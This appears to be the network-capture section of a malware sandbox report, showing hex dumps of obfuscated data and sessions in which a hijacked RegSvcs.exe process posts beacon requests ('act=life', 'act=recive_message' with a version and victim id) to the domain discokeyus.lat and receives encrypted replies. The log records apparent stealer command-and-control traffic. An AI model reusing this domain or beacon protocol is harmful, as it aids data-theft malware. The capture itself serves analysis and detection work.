tvP4}}e}}}}e}}}}}}}}}}}}}}}}}}}}q}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}E}}}}}4FUG4}T}NniBG{t/0Hv~HP-Y{W-M9N-MfTi~nHBM5VDc{I>s{YDw4G<w4Gre9ti~1V>~uUj}}}ueu}}eW{{}drpf9N}}}}}}}}}}dG}}i{cWeo}}dS}W}}R}}}}}}}}fci}}}}e}}}}}}}}}}}q}}}e}}}}}i}}}\|}}}}}}}}
2024-12-21 12:18:18 UTC	1378	IN	Data Raw: 4a 56 44 72 6f 7d 45 7d 7e 37 44 71 32 7d 45 7d 6b 40 44 71 45 64 57 7d 6f 6a 72 63 71 65 4a 75 71 4b 7b 7e 4f 7d 75 6f 47 75 7d 7d 7d 7d 47 38 71 69 57 5a 68 7d 57 38 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 58 76 75 31 44 77 47 21 57 4f 49 33 57 4b 71 64 68 42 47 46 38 7d 63 7d 7d 7d 64 34 46 7e 7b 47 7d 7d 49 33 71 4b 70 69 53 55 64 37 3e 44 7d 66 70 4f 48 33 69 7d 7d 69 70 65 7b 69 78 7d 44 63 76 66 4b 6a 63 71 4b 6a 63 71 4b 6a 63 71 4b 6a 63 71 4b 6a 63 71 49 73 34 70 54 4c 30 7d 75 21 48 4b 2d 47 7d 7d 47 38 71 65 72 7c 78 7d 44 45 58 6e 64 37 42 64 47 38 64 45 47 40 48 3e 64 34 46 4b 7d 7d 7d 7d 2f 44 56 40 6a 69 76 75 7b 75 71 7d 36 6c 35 31 7d 7d 64 68 7d 7d 7d 7d 7d 7d 63 6e 72 63 71 4b 75 70 38 32 36 65 58 59 7d 7d 63 64 58 7d 4a 44 68 Data Ascii: JVDro}E}~7Dq2}E}k@DqEdW}ojrcqeJuqK{~O}uoGu}}}}G8qiWZh}W8Z/Z/Z/Z/Z/Z/Z/Z/Xvu1DwG!WOI3WKqdhBGF8}c}}}d4F~{G}}I3qKpiSUd7>D}fpOH3i}}ipe{ix}DcvfKjcqKjcqKjcqKjcqKjcqIs4pTL0}u!HK-G}}G8qer\|x}DEXnd7BdG8dEG@H>d4FK}}}}/DV@jivu{uq}6l51}}dh}}}}}}cnrcqKup826eXY}}cdX}JDh
2024-12-21 12:18:18 UTC	1378	IN	Data Raw: 7d 7d 64 68 71 7d 57 7d 7d 7d 7d 7d 58 30 7d 69 7d 7d 7d 7d 7d 69 4c 7b 63 69 53 55 47 68 30 7d 77 57 21 66 49 7d 2f 7d 7d 69 53 2f 6a 69 6e 35 7b 7d 76 30 7d 4a 68 7d 49 75 71 4b 63 65 44 66 49 73 34 70 54 4c 30 7d 75 21 49 48 42 47 7d 7d 47 38 71 65 72 7c 78 7d 44 45 59 7d 21 31 30 70 48 77 53 7b 7d 7d 63 6a 6c 4f 53 2d 6a 6f 4d 31 7d 47 7d 7d 47 38 75 65 49 73 35 51 65 70 38 76 7b 64 7b 65 7d 69 70 65 7b 69 78 7d 64 34 73 44 7d 47 7d 7d 55 71 65 7d 7d 7d 63 6a 57 38 2d 7d 7d 7d 7d 7d 7d 2f 44 7d 7b 7d 7c 7d 7d 7d 63 6a 73 7d 4a 50 47 71 69 7d 7d 69 4e 68 49 31 57 4b 7e 66 64 4f 4c 4d 30 7d 7d 69 70 65 7b 64 4e 64 64 34 77 32 7d 47 7d 7d 49 58 34 70 54 49 54 76 36 64 7b 55 7d 7d 63 64 58 7d 73 66 57 68 71 3e 71 34 4b 45 64 37 7c 52 76 45 47 44 42 47 7d Data Ascii: }}dhq}W}}}}}X0}i}}}}}iL{ciSUGh0}wW!fI}/}}iS/jin5{}v0}Jh}IuqKceDfIs4pTL0}u!IHBG}}G8qer\|x}DEY}!10pHwS{}}cjlOS-joM1}G}}G8ueIs5Qep8v{d{e}ipe{ix}d4sD}G}}Uqe}}}cjW8-}}}}}}/D}{}\|}}}cjs}JPGqi}}iNhI1WK~fdOLM0}}ipe{dNdd4w2}G}}IX4pTITv6d{U}}cdX}sfWhq>q4KEd7\|RvEGDBG}
2024-12-21 12:18:18 UTC	1378	IN	Data Raw: 71 4b 7b 69 4b 75 6a 6f 53 71 4b 6a 63 71 4b 6a 63 71 4b 6a 63 71 4b 6a 63 71 72 75 35 30 32 69 4e 4f 69 30 71 4b 63 69 54 38 6a 7d 73 6c 70 69 45 64 40 40 39 30 58 4f 54 7b 63 64 4b 75 55 68 78 49 49 30 65 2f 49 58 59 34 75 21 4a 4d 3c 71 7d 7d 49 31 71 4b 7b 69 54 2f 6a 63 73 64 58 7d 71 37 72 63 71 4f 44 2d 78 40 44 63 71 4f 75 40 39 30 6a 63 5a 4f 35 32 4b 7d 7d 69 54 75 6a 7d 59 6c 74 63 71 53 47 38 71 2f 48 2d 7b 31 51 69 54 7b 65 69 53 65 55 6f 4c 37 40 40 40 40 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 66 76 74 76 31 3c 64 37 7b 7d 58 40 34 6e 38 6a 63 71 7d 64 34 74 7d 7d 7d 7d 7d 49 33 71 4b 6b 69 78 32 64 34 73 30 7d 7d 7d 7d 76 55 48 36 3c 71 7d 7d 47 38 71 65 49 75 71 4b 7b 66 7b 77 36 2f 57 6a 7d 7d 63 6c 74 63 71 53 47 38 71 69 49 Data Ascii: qK{iKujoSqKjcqKjcqKjcqKjcqru502iNOi0qKciT8j}slpiEd@@90XOT{cdKuUhxII0e/IXY4u!JM<q}}I1qK{iT/jcsdX}q7rcqOD-x@DcqOu@90jcZO52K}}iTuj}YltcqSG8q/H-{1QiT{eiSeUoL7@@@@Z/Z/Z/Z/Z/Z/Z/Z/Zfvtv1<d7{}X@4n8jcq}d4t}}}}}I3qKkix2d4s0}}}}vUH6<q}}G8qeIuqK{f{w6/Wj}}cltcqSG8qiI
2024-12-21 12:18:18 UTC	1378	IN	Data Raw: 69 30 71 4b 64 69 54 38 6a 7d 49 6c 68 69 45 64 21 40 39 30 78 69 54 7b 63 64 4b 75 4d 68 78 49 49 30 65 2f 49 5a 59 7c 76 21 4a 32 3e 71 7d 7d 49 31 71 4b 7b 69 54 2f 6a 63 49 64 58 7d 71 37 72 63 71 65 44 2d 78 40 44 63 71 65 76 40 39 30 6a 64 64 4f 39 32 75 7d 7d 69 54 75 6a 7d 59 6c 74 63 71 57 47 38 71 2f 48 2d 7b 31 51 69 54 7b 65 69 53 65 4d 69 78 7d 44 7b 63 64 45 7d 71 7e 56 40 40 40 40 40 39 31 63 4f 54 34 63 6f 53 66 56 40 40 40 40 40 21 6a 21 69 70 65 65 66 35 46 77 31 33 64 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 76 76 6e 78 76 4f 70 53 7e 69 54 38 6a 64 63 6c 42 63 71 53 3c 49 35 78 36 6f 4c 4c 7d 7d 63 64 58 7d 49 66 57 68 72 7e 49 2d 42 52 69 50 63 71 4b 6a 63 71 4b 6a 63 71 4b 6a 63 71 4b 6a 63 71 49 46 44 68 3c 49 35 Data Ascii: i0qKdiT8j}IlhiEd!@90xiT{cdKuMhxII0e/IZY\|v!J2>q}}I1qK{iT/jcIdX}q7rcqeD-x@Dcqev@90jddO92u}}iTuj}YltcqWG8q/H-{1QiT{eiSeMix}D{cdE}q~V@@@@@91cOT4coSfV@@@@@!j!ipeef5Fw13dZ/Z/Z/Z/Z/Z/Z/Z/Z/Z/vvnxvOpS~iT8jdclBcqS<I5x6oLL}}cdX}IfWhr~I-BRiPcqKjcqKjcqKjcqKjcqIFDh<I5
2024-12-21 12:18:18 UTC	1378	IN	Data Raw: 74 40 44 48 64 40 66 71 7d 57 72 7d 63 64 58 7d 74 40 44 48 74 40 66 71 7d 57 72 7d 63 64 58 7d 74 40 44 47 4a 40 66 71 7d 57 72 7d 63 64 58 7d 74 68 72 48 71 7d 7d 7d 7d 7d 58 30 7c 71 7d 7d 7d 7d 7d 2f 44 7e 64 7d 7d 7d 7d 7d 64 68 72 47 47 7d 7d 7d 7d 7d 58 30 7c 65 7d 7d 7d 7d 7d 6f 53 33 49 33 7d 69 47 33 34 69 7d 68 71 49 2f 46 21 71 4b 6a 63 71 4b 6a 63 71 4b 6a 63 71 4b 6a 63 6c 72 47 74 40 6e 6c 4a 4f 7b 46 40 40 40 34 70 65 7b 65 2d 37 46 47 48 59 37 70 39 32 7b 70 38 76 7d 64 7b 65 7d 69 70 65 7b 66 42 52 7d 40 39 57 63 70 38 76 7d 64 7b 65 7d 69 70 65 7b 66 35 46 40 59 75 7d 2f 65 71 7d 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 76 76 6e 78 76 4f 70 53 65 6c 4a 40 40 40 40 40 47 33 57 4b 6a 7d 7d 70 48 6e 2f 7d 7d 7d 63 64 46 63 71 4f 7d 7d 21 65 59 Data Ascii: t@DHd@fq}Wr}cdX}t@DHt@fq}Wr}cdX}t@DGJ@fq}Wr}cdX}thrHq}}}}}X0\|q}}}}}/D~d}}}}}dhrGG}}}}}X0\|e}}}}}oS3I3}iG34i}hqI/F!qKjcqKjcqKjcqKjclrGt@nlJO{F@@@4pe{e-7FGHY7p92{p8v}d{e}ipe{fBR}@9Wcp8v}d{e}ipe{f5F@Yu}/eq}Z/Z/Z/Z/Z/Z/vvnxvOpSelJ@@@@@G3WKj}}pHn/}}}cdFcqO}}!eY
2024-12-21 12:18:18 UTC	1378	IN	Data Raw: 73 68 78 30 48 45 31 30 73 7c 54 31 7d 6f 54 7e 76 56 38 76 7d 64 7b 65 7d 69 70 65 7b 66 46 40 66 71 7d 57 72 7d 63 64 58 7d 74 40 44 63 71 65 40 58 75 7d 2f 65 71 7d 47 38 71 65 40 5a 71 4b 40 58 75 7d 2f 65 71 7d 47 38 71 65 76 46 38 76 7d 64 7b 65 7d 69 70 65 7b 6c 4a 40 40 40 40 40 47 38 71 30 78 4c 39 42 78 2d 2f 58 39 4f 4c 30 6a 7d 49 64 46 72 47 7d 44 64 65 58 32 35 63 71 4b 6a 63 71 4b 6a 63 71 4b 69 54 66 64 69 54 6e 65 69 53 38 4d 76 46 40 6e 6a 49 6e 72 63 71 71 75 6f 47 3e 40 70 40 40 47 38 71 2f 48 2d 7b 31 42 7c 4b 33 71 5a 54 44 7e 68 6c 3c 58 30 75 7c 7d 7d 7d 7d 7d 2f 44 66 68 7d 7d 7d 7d 7d 64 68 72 73 7d 7d 7d 7d 7d 7d 40 33 75 65 40 58 75 7d 2f 65 71 7d 47 38 71 65 40 33 75 2f 40 58 75 7d 2f 65 71 7d 47 38 71 65 40 33 75 71 40 58 75 Data Ascii: shx0HE10s\|T1}oT~vV8v}d{e}ipe{fF@fq}Wr}cdX}t@Dcqe@Xu}/eq}G8qe@ZqK@Xu}/eq}G8qevF8v}d{e}ipe{lJ@@@@@G8q0xL9Bx-/X9OL0j}IdFrG}DdeX25cqKjcqKjcqKiTfdiTneiS8MvF@njInrcqquoG>@p@@G8q/H-{1B\|K3qZTD~hl<X0u\|}}}}}/Dfh}}}}}dhrs}}}}}}@3ue@Xu}/eq}G8qe@3u/@Xu}/eq}G8qe@3uq@Xu
2024-12-21 12:18:18 UTC	1378	IN	Data Raw: 71 58 57 69 70 65 7e 66 35 46 77 31 33 64 5a 2f 5a 2f 76 76 6e 78 76 4f 54 30 6a 7b 71 70 56 47 36 40 40 40 40 40 40 34 78 6a 64 34 71 42 7d 71 7d 7d 64 37 35 77 7d 7c 78 73 64 34 71 70 7d 71 7d 7d 64 37 35 7e 7d 4f 78 7d 64 34 71 64 7d 71 7d 7d 64 37 35 32 7d 34 78 32 64 34 74 33 7d 7d 7d 7d 49 2d 55 7d 57 39 63 7d 21 57 4c 33 7b 7c 70 7b 30 6f 53 4a 49 2d 55 7d 57 35 21 7d 21 57 76 33 7b 7c 70 7b 51 45 53 75 49 2d 55 7d 57 37 21 7d 21 57 3e 59 7b 37 4e 40 40 40 40 40 36 57 6f 64 57 2d 4d 6a 30 34 64 64 30 69 64 37 63 78 2d 66 47 38 6c 71 36 59 6f 6a 30 34 64 64 4e 34 64 37 7b 78 2d 66 47 38 6b 50 36 58 73 6a 30 34 64 64 56 34 64 37 7b 4e 69 68 55 56 40 40 40 40 40 52 7d 34 70 63 59 7c 4e 64 47 2f 70 71 47 70 53 6a 44 57 77 64 57 6e 64 52 69 34 4e 64 47 Data Ascii: qXWipe~f5Fw13dZ/Z/vvnxvOT0j{qpVG6@@@@@@4xjd4qB}q}}d75w}\|xsd4qp}q}}d75~}Ox}d4qd}q}}d752}4x2d4t3}}}}I-U}W9c}!WL3{\|p{0oSJI-U}W5!}!Wv3{\|p{QESuI-U}W7!}!W>Y{7N@@@@@6WodW-Mj04dd0id7cx-fG8lq6Yoj04ddN4d7{x-fG8kP6Xsj04ddV4d7{NihUV@@@@@R}4pcY\|NdG/pqGpSjDWwdWndRi4NdG
2024-12-21 12:18:18 UTC	1378	IN	Data Raw: 40 33 78 72 39 39 64 52 7d 4a 68 7d 78 4c 40 64 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 59 6c 72 63 71 2f 64 36 39 65 6a 7d 48 71 36 6c 66 74 7d 7d 63 64 58 7d 74 64 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 70 39 30 6a 7d 4a 4f 50 31 2f 7d 7d 69 70 65 7b 2f 70 2f 5a 2f 58 77 49 30 57 4b 65 69 54 65 6a 7b 73 6a 58 47 4e 6f 49 2d 69 48 59 47 21 56 31 4f 4e 6f 39 39 7c 48 58 56 46 71 69 2d 47 70 52 38 7c 7b 30 66 64 40 44 63 71 71 36 69 6e 74 7d 7d 63 64 58 7d 48 45 57 38 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 5a 2f 76 76 6e 78 76 4f 54 2f 6a 63 73 6c 72 63 71 2d 49 33 71 4b 66 69 78 32 44 63 3c 6c 78 63 71 4f 49 31 71 4b 69 69 54 38 6a 7b 49 6a 46 4e 63 6a 72 4e 49 6a 76 4e 73 6a 74 4e 59 6a 56 4f 71 7d 7d 7d 63 66 57 68 71 46 49 59 4a 52 68 7c 78 Data Ascii: @3xr99dR}Jh}xL@dZ/Z/Z/Z/Z/Ylrcq/d69ej}Hq6lft}}cdX}tdZ/Z/Z/Z/Z/Z/Z/Z/Zp90j}JOP1/}}ipe{/p/Z/XwI0WKeiTej{sjXGNoI-iHYG!V1ONo99\|HXVFqi-GpR8\|{0fd@Dcqq6int}}cdX}HEW8Z/Z/Z/Z/Z/Z/Z/Z/Z/vvnxvOT/jcslrcq-I3qKfix2Dc<lxcqOI1qKiiT8j{IjFNcjrNIjvNsjtNYjVOq}}}cfWhqFIYJRh\|x
2024-12-21 12:18:18 UTC	1378	IN	Data Raw: 71 52 73 4f 68 49 40 33 38 7d 7d 7d 21 32 4c 7b 3c 71 7d 7d 7d 7d 6b 78 57 4b 64 7d 68 46 49 78 34 47 49 33 71 4b 7b 64 54 30 6a 7b 7d 70 48 6a 71 7d 7d 7d 63 6a 46 63 71 69 7d 44 33 7b 34 71 75 58 30 7c 54 30 6a 66 73 6c 76 63 71 65 36 30 45 71 4b 6a 63 71 4b 6a 63 71 4b 6a 63 71 4b 6a 63 71 4b 7d 21 32 30 53 68 48 7b 7c 68 48 34 68 38 7d 7d 64 68 72 64 37 45 75 74 4e 6b 73 7d 47 63 6a 58 34 68 4e 40 33 38 7d 7d 7e 3c 6a 4c 68 35 59 4b 47 65 7d 49 44 50 63 3e 4f 4d 65 74 4e 6b 73 7d 47 7b 66 71 64 54 75 6a 7b 7b 30 6a 34 68 4c 40 33 38 7d 7d 69 4e 74 64 37 7c 73 49 6a 71 55 4b 7d 7d 7d 7d 69 68 39 7d 7d 65 7d 7d 68 45 54 49 6a 71 55 4b 69 7d 7d 7d 6f 55 4b 4b 6a 63 71 4b 69 54 2d 6a 7d 49 6c 76 63 71 71 49 30 57 4b 7e 6f 4c 40 7d 71 7d 7d 49 46 55 6c 76 Data Ascii: qRsOhI@38}}}!2L{<q}}}}kxWKd}hFIx4GI3qK{dT0j{}pHjq}}}cjFcqi}D3{4quX0\|T0jfslvcqe60EqKjcqKjcqKjcqKjcqK}!20ShH{\|hH4h8}}dhrd7EutNks}GcjX4hN@38}}~<jLh5YKGe}IDPc>OMetNks}G{fqdTuj{{0j4hL@38}}iNtd7\|sIjqUK}}}}ih9}}e}}hETIjqUKi}}}oUKKjcqKiT-j}IlvcqqI0WK~oL@}q}}IFUlv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49715	172.67.197.170	443	6748	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 12:18:23 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: discokeyus.lat
2024-12-21 12:18:23 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-21 12:18:24 UTC	1123	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 12:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=10c20prqqu269kuddtr54l5i8a; expires=Wed, 16 Apr 2025 06:05:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZGX8ZzsIheAMXJyBvFc72C08KZZacgk4CElU8tHSWKA7jAhPPEOMNnL0Pvo%2F3XdlN2TgItjTZ70MeKSLAM0Y3EQ9FGP0kQzn9LNgm2yNzi2vTd9YUr%2F0CBxM3PjvtpLsWw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57d0824da74249-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1685&min_rtt=1682&rtt_var=637&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=905&delivery_rate=1709601&cwnd=230&unsent_bytes=0&cid=81f8dbe4bc262e29&ts=931&x=0"
2024-12-21 12:18:24 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-21 12:18:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49727	172.67.197.170	443	6748	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 12:18:25 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48 Host: discokeyus.lat
2024-12-21 12:18:25 UTC	48	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4f 50 43 4e 32 4d 2d 2d 53 65 72 67 65 69 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=OPCN2M--Sergei&j=
2024-12-21 12:18:26 UTC	1129	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 12:18:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gqdbl2al7t42h74fj2vc385vh3; expires=Wed, 16 Apr 2025 06:05:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2938N0ij74nmpB0TIoyu2BG%2BA5Akkp4mkn8lm5AdS0lqwuByACIqDeok8UE%2BZPzZ%2BOqn3G8H8SOfxnZfpnFQjUDVSBZhdWyIrgHvXd%2F5nRugCTwDbb9txTsOLXAf%2FlEvXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57d091ca5980d9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1629&min_rtt=1620&rtt_var=626&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=946&delivery_rate=1722713&cwnd=252&unsent_bytes=0&cid=c4ec8052a602c849&ts=778&x=0"
2024-12-21 12:18:26 UTC	240	IN	Data Raw: 31 34 38 32 0d 0a 6b 6c 79 31 41 71 79 46 69 45 30 47 71 43 52 47 55 63 31 39 66 37 41 4d 52 2b 32 39 36 61 49 6f 6c 79 6a 35 32 49 42 54 51 4f 4c 70 66 73 4d 67 6c 72 47 6b 62 33 58 4e 42 6e 77 6c 76 77 67 61 6e 43 34 6d 69 5a 2f 54 78 45 6e 37 57 35 7a 30 6f 69 55 74 77 4b 67 36 31 47 37 66 34 4b 52 76 59 39 41 47 66 41 71 32 58 78 72 65 4c 6e 33 50 32 49 50 41 53 66 74 4b 6d 4c 50 76 49 79 79 42 2b 6a 44 53 61 73 6e 6d 37 43 78 71 78 55 45 6a 4e 4b 77 58 45 64 6c 68 4c 34 43 66 78 59 42 4e 37 51 72 44 2b 73 30 32 4e 49 50 66 50 63 5a 70 6a 76 69 6b 4e 69 54 4e 53 6d 52 72 37 78 77 61 30 6d 41 68 69 64 61 42 79 6b 44 7a 53 35 32 79 38 44 6f 6d 69 76 6f 2b 30 57 76 44 37 2f 67 68 59 4d 4a 4b 4a 54 36 73 58 31 Data Ascii: 1482kly1AqyFiE0GqCRGUc19f7AMR+296aIolyj52IBTQOLpfsMglrGkb3XNBnwlvwganC4miZ/TxEn7W5z0oiUtwKg61G7f4KRvY9AGfAq2XxreLn3P2IPASftKmLPvIyyB+jDSasnm7CxqxUEjNKwXEdlhL4CfxYBN7QrD+s02NIPfPcZpjvikNiTNSmRr7xwa0mAhidaBykDzS52y8Domivo+0WvD7/ghYMJKJT6sX1
2024-12-21 12:18:26 UTC	1369	IN	Data Raw: 4f 53 61 54 33 50 68 38 75 54 65 50 5a 62 69 71 2f 76 49 53 54 41 37 33 44 4f 49 4d 6e 72 71 6e 63 6b 77 6b 6f 71 4e 71 77 51 47 74 4e 75 4e 34 44 66 69 4d 68 43 38 55 43 55 74 65 30 2f 4b 49 66 34 4e 39 42 76 79 65 2f 73 49 47 65 4b 43 47 51 30 74 31 39 46 6b 6b 34 31 6a 4e 79 66 7a 56 75 31 56 64 57 6a 6f 6a 59 75 77 4b 68 2b 30 57 37 50 36 75 6f 39 62 4d 46 4e 49 53 47 6b 46 68 44 66 62 69 69 46 30 49 6a 41 54 66 39 41 6c 4c 44 6d 50 43 2b 47 38 44 36 58 4c 6f 37 67 38 6d 38 38 69 6d 55 68 49 36 67 54 43 35 42 55 5a 5a 43 52 6b 6f 42 4e 2b 51 72 44 2b 75 6f 30 49 59 50 37 4d 64 52 6f 78 66 58 71 50 57 4c 48 51 7a 59 31 71 68 45 58 30 58 77 76 67 64 6d 49 79 55 48 38 54 35 79 2b 6f 6e 39 69 68 2b 68 2b 6a 79 44 76 36 75 45 6a 62 74 31 47 5a 43 7a 68 42 Data Ascii: OSaT3Ph8uTePZbiq/vISTA73DOIMnrqnckwkoqNqwQGtNuN4DfiMhC8UCUte0/KIf4N9Bvye/sIGeKCGQ0t19Fkk41jNyfzVu1VdWjojYuwKh+0W7P6uo9bMFNISGkFhDfbiiF0IjATf9AlLDmPC+G8D6XLo7g8m88imUhI6gTC5BUZZCRkoBN+QrD+uo0IYP7MdRoxfXqPWLHQzY1qhEX0XwvgdmIyUH8T5y+on9ih+h+jyDv6uEjbt1GZCzhB
2024-12-21 12:18:26 UTC	1369	IN	Data Raw: 70 68 64 6d 45 7a 55 61 31 42 4e 75 39 2b 6e 46 36 77 4e 6f 39 77 32 50 45 70 64 38 73 61 73 52 42 4d 6e 4f 77 55 51 53 53 61 53 6e 50 68 38 76 4e 53 2f 31 4d 69 62 58 76 4d 69 79 4f 2f 7a 76 59 61 4d 37 6e 35 79 70 67 77 55 30 6e 50 71 73 4e 46 39 4a 6d 49 49 37 56 67 59 41 45 74 55 32 44 2b 72 70 78 45 35 66 37 66 4f 4a 6a 77 4f 6e 74 4f 53 54 56 43 44 31 7a 71 42 4e 64 69 69 34 6f 68 39 71 4f 7a 30 76 2f 52 4a 36 77 37 6a 6b 73 67 2b 49 78 30 32 44 43 37 2b 41 69 61 73 35 4f 4c 54 69 6b 47 52 33 54 5a 47 58 42 6e 34 7a 59 43 71 30 4b 72 37 33 75 50 43 33 43 78 54 33 5a 62 73 6e 78 71 6a 41 71 30 77 59 6a 50 2b 39 48 58 64 35 6e 4a 59 54 56 6a 38 42 4e 2b 45 2b 59 76 65 45 38 4a 59 72 2b 4f 64 4e 73 78 2b 72 73 4c 32 50 4f 51 7a 59 32 70 68 4d 52 6b 69 Data Ascii: phdmEzUa1BNu9+nF6wNo9w2PEpd8sasRBMnOwUQSSaSnPh8vNS/1MibXvMiyO/zvYaM7n5ypgwU0nPqsNF9JmII7VgYAEtU2D+rpxE5f7fOJjwOntOSTVCD1zqBNdii4oh9qOz0v/RJ6w7jksg+Ix02DC7+Aias5OLTikGR3TZGXBn4zYCq0Kr73uPC3CxT3ZbsnxqjAq0wYjP+9HXd5nJYTVj8BN+E+YveE8JYr+OdNsx+rsL2POQzY2phMRki
2024-12-21 12:18:26 UTC	1369	IN	Data Raw: 6c 49 35 54 74 55 32 58 2b 72 70 78 4b 34 6e 69 4d 4e 6c 70 77 2b 48 69 4b 47 72 48 54 53 49 34 71 42 67 62 33 32 59 6f 69 74 79 4b 78 45 44 6e 53 5a 43 77 37 7a 74 69 7a 72 41 35 7a 79 43 57 70 38 30 6a 54 64 70 64 4e 69 58 76 41 46 50 4c 4c 69 4b 44 6e 39 4f 41 53 66 70 44 6c 4c 4c 71 50 69 32 45 2f 6a 6a 52 62 63 76 6f 34 44 31 73 78 45 73 76 50 4b 51 4e 48 64 39 71 4b 59 76 58 67 4d 6f 4b 75 77 71 63 6f 71 4a 70 59 72 58 39 4d 64 64 6a 32 4b 66 31 59 58 32 4b 51 53 68 7a 39 31 38 52 33 47 34 71 67 39 4f 41 79 45 76 35 52 4a 79 2f 36 7a 6b 71 6b 76 45 36 33 32 48 41 36 4f 73 72 59 63 39 43 49 7a 65 70 45 46 32 63 4c 69 4b 58 6e 39 4f 41 5a 64 4a 2f 32 5a 76 59 63 54 33 4f 36 58 37 51 62 49 36 2f 71 69 4e 6e 78 6b 34 72 4e 61 59 54 46 39 74 6c 4b 59 54 Data Ascii: lI5TtU2X+rpxK4niMNlpw+HiKGrHTSI4qBgb32YoityKxEDnSZCw7ztizrA5zyCWp80jTdpdNiXvAFPLLiKDn9OASfpDlLLqPi2E/jjRbcvo4D1sxEsvPKQNHd9qKYvXgMoKuwqcoqJpYrX9Mddj2Kf1YX2KQShz918R3G4qg9OAyEv5RJy/6zkqkvE632HA6OsrYc9CIzepEF2cLiKXn9OAZdJ/2ZvYcT3O6X7QbI6/qiNnxk4rNaYTF9tlKYT
2024-12-21 12:18:26 UTC	911	IN	Data Raw: 76 42 46 6d 72 76 6b 49 79 57 4a 34 6a 44 61 62 38 62 76 34 79 35 67 7a 30 73 69 50 36 55 65 47 74 78 67 4c 63 2b 52 79 38 64 53 74 52 4c 62 6d 2f 49 71 4d 4a 62 39 48 39 70 76 6a 76 69 6b 4e 69 54 4e 53 6d 52 72 37 78 59 50 31 6d 4d 33 68 74 69 46 7a 30 6e 6e 53 35 61 78 38 44 59 74 68 50 63 79 30 57 2f 49 35 75 38 6c 61 4d 31 44 4c 7a 79 6a 58 31 4f 53 61 54 33 50 68 38 76 75 51 65 5a 64 6d 4c 54 70 4a 7a 6e 41 37 33 44 4f 49 4d 6e 72 71 6e 63 6b 79 55 30 76 4e 36 38 54 48 64 5a 6a 4a 5a 33 51 6a 4d 64 44 2f 6c 69 52 76 65 55 36 4b 6f 76 2f 4f 4d 56 73 77 50 58 76 50 58 61 4b 43 47 51 30 74 31 39 46 6b 6c 67 69 6e 38 2b 49 67 6e 76 6a 53 59 32 78 37 7a 31 69 6e 37 34 6e 6c 32 66 43 70 37 4a 76 59 73 56 50 4a 7a 79 75 46 68 48 66 61 79 79 4b 33 6f 33 45 Data Ascii: vBFmrvkIyWJ4jDab8bv4y5gz0siP6UeGtxgLc+Ry8dStRLbm/IqMJb9H9pvjvikNiTNSmRr7xYP1mM3htiFz0nnS5ax8DYthPcy0W/I5u8laM1DLzyjX1OSaT3Ph8vuQeZdmLTpJznA73DOIMnrqnckyU0vN68THdZjJZ3QjMdD/liRveU6Kov/OMVswPXvPXaKCGQ0t19Fklgin8+IgnvjSY2x7z1in74nl2fCp7JvYsVPJzyuFhHfayyK3o3E
